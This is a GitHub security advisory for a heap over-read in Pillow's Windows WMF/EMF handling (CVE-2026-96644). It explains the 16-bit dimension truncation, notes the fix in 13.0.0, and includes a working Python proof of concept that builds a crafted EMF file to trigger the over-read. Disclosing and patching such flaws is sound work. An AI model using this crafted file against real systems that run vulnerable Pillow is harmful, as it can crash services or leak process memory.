GitHub Advisoryadvisory · PyPI
GHSA-9v9v-9qvf-h2hj Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)
HIGH
Official page ↗
- Aliases
- CVE-2026-96644
- Ecosystem
- PyPI
- Packages
- Pillow
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N
- Weaknesses
- CWE-125
- Reviewed
- 2026-10-22
Affected packages
• PyPI Pillow: < 13.0.0 → fixed in 13.0.0
Description
Summary
On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native `drawwmf` handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.
Details
The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:
• `src/PIL/WmfImagePlugin.py:121-129` reads the bounding box; `:148` stores it; the size reaches the native handler through `src/PIL/WmfImagePlugin.py:56`.
In the native handler the DIB header fields `bcWidth` and `bcHeight` are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:
• `src/display.c:793-794` assign the 16-bit fields
• `src/display.c:800` sizes the allocation from them
• `src/display.c:827` copies `height * ((width * 3 + 3) & -4)` bytes using the full values
The whole handler is compiled only on Windows (`#ifdef _WIN32`, `src/display.c:33-841`).
PoC
```python
import struct
from PIL import Image
def L(v):
return struct.pack("<i", v)
Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the
decompression-bomb check, but the width truncates to 16 bits for the allocation while
the copy uses 70000.
emf = b"\x01\x00\x00\x00" + L(88) # record type + size
emf += L(0) + L(0) + L(70000) + L(1) # rclBounds: x0, y0, x1, y1
emf += L(0) + L(0) + L(100) + L(100) # rclFrame (non-zero, used for the dpi calc)
emf += b" EMF" # signature at offset 40
emf += bytes(44)
open("poc.emf", "wb").write(emf)
im = Image.open("poc.emf")
print("size:", im.size, "pixels:", im.size[0] * im.size[1])
im.load() # over-read happens here on a Windows build
```
On Linux the first part is observable: the 88-byte file opens, `size` is `(70000, 1)`, and the bomb check passes. The native over-read only exists on Windows because `Image.core.drawwmf` is compiled out elsewhere (on Linux `im.load()` raises `OSError` instead).
Impact
CWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.
Related
Alias · CVE (1)
- CVE-2026-96644 Pillow is a Python imaging library. vulnerability
Weakness · CWE (1)
- CWE-125 Out-of-bounds Read weakness
References
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-9v9v-9qvf-h2hj web
- https://nvd.nist.gov/vuln/detail/CVE-2026-96644 advisory
- https://github.com/python-pillow/Pillow/pull/10120 web
- https://github.com/python-pillow/Pillow/commit/4cf46bee338304c5c8968fd7f132ba0d40c428b7 web
- https://github.com/python-pillow/Pillow package
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0 web